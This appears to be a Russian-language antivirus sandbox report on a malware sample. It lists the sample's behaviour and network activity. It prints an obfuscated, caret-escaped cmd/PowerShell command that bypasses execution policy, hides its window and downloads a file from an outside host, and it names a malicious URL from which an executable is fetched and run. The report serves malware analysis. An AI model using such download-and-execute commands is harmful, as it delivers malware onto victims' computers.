Техническая информация
Вредоносные функции
Загружает и запускает на исполнение
- http://rootaleyz.top/read.php?f=0.dat как %appdata%.exe
Запускает на исполнение (эксплоит)
- '<SYSTEM32>\cmd.exe' /C "P^O^w^Ers^hel^l^.exe^ ^-^E^xEcutioNPOLIcY b^Y^p^AS^s^ -^NoPr^oFilE^ ^-^Wi^ndOWS^t^YLe^ H^I^dd^E^n (n^E^w^-Ob^Je^c^T^ ^Sy^s^Tem.N^eT.W^EbcLiEn^T).dOW^nl^O^a^d^Fi^Le('http://r...
Сетевая активность
UDP
- DNS ASK ro###leyz.top
Другое
Создает и запускает на исполнение
- '<SYSTEM32>\cmd.exe' /C "P^O^w^Ers^hel^l^.exe^ ^-^E^xEcutioNPOLIcY b^Y^p^AS^s^ -^NoPr^oFilE^ ^-^Wi^ndOWS^t^YLe^ H^I^dd^E^n (n^E^w^-Ob^Je^c^T^ ^Sy^s^Tem.N^eT.W^EbcLiEn^T).dOW^nl^O^a^d^Fi^Le('http://r...' (со скрытым окном)
